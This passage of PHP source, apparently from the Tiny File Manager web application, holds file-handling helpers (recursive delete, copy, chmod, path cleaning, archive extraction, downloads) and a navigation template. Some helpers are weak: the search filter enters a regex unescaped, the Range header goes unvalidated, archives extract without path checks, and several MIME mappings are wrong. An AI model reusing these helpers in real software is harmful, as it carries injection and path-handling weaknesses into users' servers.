        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after cerify
 * @param string $token
 * @return bool
 */
function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get total size of directory tree.
 *
 * @param  string $directory Relative or absolute directory name.
 * @return int Total number of bytes.
 */
function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false && $directory != '' && file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/**
* Parameters: downloadFile(File Location, File Name,
* max speed, is streaming
* If streaming - videos will show as videos, images as images
* instead of download prompt
* https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if(is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * If the theme is dark, return the text-white and bg-dark classes.
 * @return string the value of the  variable.
 */
function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
